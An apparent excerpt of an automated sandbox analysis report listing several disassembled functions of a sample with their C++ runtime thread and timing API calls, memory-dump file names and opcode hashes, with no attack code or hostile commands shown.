Function 000A2EC0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 000A2F5F
GetCurrentThreadId.KERNEL32 ref: 000A2F7E
__Mtx_unlock.LIBCPMT ref: 000A2FCC
__Cnd_broadcast.LIBCPMT ref: 000A2FE3
__Mtx_unlock.LIBCPMT ref: 000A30F5
GetCurrentThreadId.KERNEL32 ref: 000A3132
__Mtx_unlock.LIBCPMT ref: 000A319B

Strings

t#, xrefs: 000A2ED7, 000A3054, 000A3203

Memory Dump Source

Source File: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.2182669159.00000000000A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182917529.0000000000102000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183000574.0000000000109000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183023491.000000000010B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183049504.0000000000117000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183174403.000000000026E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183198375.0000000000270000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183272831.0000000000293000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183296339.0000000000294000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183317982.0000000000295000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183338775.0000000000296000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183359688.0000000000297000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183383671.0000000000299000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183410807.00000000002A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183441616.00000000002A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183484425.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183508664.00000000002C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183530942.00000000002C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183600749.00000000002DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183626520.00000000002E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183651042.00000000002E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183675519.00000000002ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183715487.00000000002F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183760013.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183798599.000000000030E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183816602.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183834127.0000000000316000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183854335.000000000031B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183873864.0000000000322000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183903490.0000000000326000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183931663.000000000032E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183967335.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183994600.000000000033F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184019272.0000000000340000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184058705.000000000034D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000034E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184134803.0000000000384000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184153740.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184177499.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184195693.000000000039C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184216554.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184258734.00000000003A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184299165.00000000003B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184335891.00000000003B4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_random.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID: t#
API String ID: 57040152-134853180
Opcode ID: e37e8347571a2c8385aafb46c86937d363b1cf6287d67a130df8fe86300e9774
Instruction ID: db819b9af92e3f997b4647738e297c4d1baa27e9fa323c480992f34914bc291d
Opcode Fuzzy Hash: e37e8347571a2c8385aafb46c86937d363b1cf6287d67a130df8fe86300e9774
Instruction Fuzzy Hash: D4A1C0B0A012059FEB60DFA4C945BEAB7E8FF16354F148139F816D7242EB35EA04CB91

Function 000BBB72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 000BBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 000BBBE4
_xtime_get.LIBCPMT ref: 000BBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 000BBC13

Strings

t#, xrefs: 000BBB78

Memory Dump Source

Source File: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.2182669159.00000000000A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182917529.0000000000102000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183000574.0000000000109000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183023491.000000000010B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183049504.0000000000117000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183174403.000000000026E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183198375.0000000000270000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183272831.0000000000293000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183296339.0000000000294000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183317982.0000000000295000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183338775.0000000000296000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183359688.0000000000297000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183383671.0000000000299000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183410807.00000000002A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183441616.00000000002A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183484425.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183508664.00000000002C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183530942.00000000002C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183600749.00000000002DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183626520.00000000002E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183651042.00000000002E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183675519.00000000002ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183715487.00000000002F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183760013.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183798599.000000000030E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183816602.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183834127.0000000000316000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183854335.000000000031B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183873864.0000000000322000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183903490.0000000000326000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183931663.000000000032E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183967335.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183994600.000000000033F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184019272.0000000000340000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184058705.000000000034D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000034E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184134803.0000000000384000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184153740.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184177499.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184195693.000000000039C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184216554.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184258734.00000000003A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184299165.00000000003B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184335891.00000000003B4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_random.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID: t#
API String ID: 531285432-134853180
Opcode ID: f14ecfc5cb7b2071e51e87feb4e27312ecf42190ebb9eb71a10492c7e322bb65
Instruction ID: 4ac695f80ba3c6d91ef38fe11f1178d98002a680522e5bacb526910de9a33bf0
Opcode Fuzzy Hash: f14ecfc5cb7b2071e51e87feb4e27312ecf42190ebb9eb71a10492c7e322bb65
Instruction Fuzzy Hash: 7621ED75A00119AFEF00EFA4D885DFEBBB9EF48710F104065F501A7252DB749D419BA1

Function 000A3AC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 000A3B93
__Cnd_destroy_in_situ.LIBCPMT ref: 000A3B99
__Mtx_destroy_in_situ.LIBCPMT ref: 000A3BA2

Strings

t#, xrefs: 000A3AD5, 000A3C07

Memory Dump Source

Source File: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.2182669159.00000000000A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182917529.0000000000102000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183000574.0000000000109000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183023491.000000000010B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183049504.0000000000117000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183174403.000000000026E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183198375.0000000000270000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183272831.0000000000293000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183296339.0000000000294000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183317982.0000000000295000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183338775.0000000000296000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183359688.0000000000297000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183383671.0000000000299000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183410807.00000000002A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183441616.00000000002A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183484425.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183508664.00000000002C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183530942.00000000002C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183600749.00000000002DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183626520.00000000002E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183651042.00000000002E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183675519.00000000002ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183715487.00000000002F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183760013.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183798599.000000000030E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183816602.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183834127.0000000000316000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183854335.000000000031B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183873864.0000000000322000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183903490.0000000000326000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183931663.000000000032E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183967335.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183994600.000000000033F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184019272.0000000000340000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184058705.000000000034D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000034E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184134803.0000000000384000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184153740.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184177499.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184195693.000000000039C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184216554.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184258734.00000000003A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184299165.00000000003B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184335891.00000000003B4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_random.jbxd

Yara matches

Similarity

API ID: Mtx_destroy_in_situ$Cnd_destroy_in_situ
String ID: t#
API String ID: 3308344742-134853180
Opcode ID: f4fedfb8456d8d3c68d720c6b8f6c32748a8f08f5ba0c7ebcabee580741460cb
Instruction ID: dd0aa13f243f6e8effa0b67bee86783eea8508650d4c0ba4746faabce4a47777
Opcode Fuzzy Hash: f4fedfb8456d8d3c68d720c6b8f6c32748a8f08f5ba0c7ebcabee580741460cb
Instruction Fuzzy Hash: 4551D571600B049FDB24DF68C885BAAB7E5EF06724F148A6DF55AC7791DB38A900CB90

Function 000BC452 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 000BC4F8
__Xtime_diff_to_millis2.LIBCPMT ref: 000BC542
_xtime_get.LIBCPMT ref: 000BC561

Strings

t#, xrefs: 000BC458

Memory Dump Source

Source File: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.2182669159.00000000000A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182917529.0000000000102000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183000574.0000000000109000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183023491.000000000010B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183049504.0000000000117000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183174403.000000000026E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183198375.0000000000270000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183272831.0000000000293000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183296339.0000000000294000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183317982.0000000000295000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183338775.0000000000296000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183359688.0000000000297000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183383671.0000000000299000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183410807.00000000002A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183441616.00000000002A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183484425.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183508664.00000000002C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183530942.00000000002C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183600749.00000000002DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183626520.00000000002E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183651042.00000000002E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183675519.00000000002ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183715487.00000000002F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183760013.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183798599.000000000030E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183816602.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183834127.0000000000316000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183854335.000000000031B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183873864.0000000000322000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183903490.0000000000326000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183931663.000000000032E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183967335.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183994600.000000000033F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184019272.0000000000340000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184058705.000000000034D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000034E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184134803.0000000000384000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184153740.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184177499.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184195693.000000000039C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184216554.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184258734.00000000003A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184299165.00000000003B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184335891.00000000003B4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_random.jbxd

Yara matches

Similarity

API ID: _xtime_get$Xtime_diff_to_millis2
String ID: t#
API String ID: 2858396081-134853180
Opcode ID: 6b045f32e72ec1fa83ff8042526cdc1d70a6180f657f0cad48d4c9bd6473c8fe
Instruction ID: ababa16e37e27a3415c424ea0b9d2464751c46908ef8f3d31166d3793f4b2a84
Opcode Fuzzy Hash: 6b045f32e72ec1fa83ff8042526cdc1d70a6180f657f0cad48d4c9bd6473c8fe
Instruction Fuzzy Hash: 02513D71900A06CFEF60DF24C595DEE77E4EF04711B2589AAE806AB256D730FD81CBA4

Function 000A32D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 000A3344
__Cnd_broadcast.LIBCPMT ref: 000A33CB
__Mtx_unlock.LIBCPMT ref: 000A33DF

Strings

t#, xrefs: 000A32E4, 000A3393

Memory Dump Source

Source File: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.2182669159.00000000000A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182917529.0000000000102000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183000574.0000000000109000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183023491.000000000010B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183049504.0000000000117000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183174403.000000000026E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183198375.0000000000270000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183272831.0000000000293000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183296339.0000000000294000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183317982.0000000000295000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183338775.0000000000296000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183359688.0000000000297000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183383671.0000000000299000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183410807.00000000002A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183441616.00000000002A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183484425.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183508664.00000000002C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183530942.00000000002C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183600749.00000000002DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183626520.00000000002E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183651042.00000000002E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183675519.00000000002ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183715487.00000000002F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183760013.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183798599.000000000030E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183816602.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183834127.0000000000316000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183854335.000000000031B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183873864.0000000000322000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183903490.0000000000326000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183931663.000000000032E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183967335.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183994600.000000000033F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184019272.0000000000340000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184058705.000000000034D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000034E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184134803.0000000000384000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184153740.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184177499.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184195693.000000000039C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184216554.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184258734.00000000003A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184299165.00000000003B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184335891.00000000003B4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_random.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID: t#
API String ID: 32384418-134853180
Opcode ID: 6fd2132af8f5f2f18e1d4250251eec6d706f839ea2db00f5b0d14fa55afa5fd0
Instruction ID: 26170570f26b222bd6704c22f468c3d4669c9bd3cf6d106bf8f377ba93420138
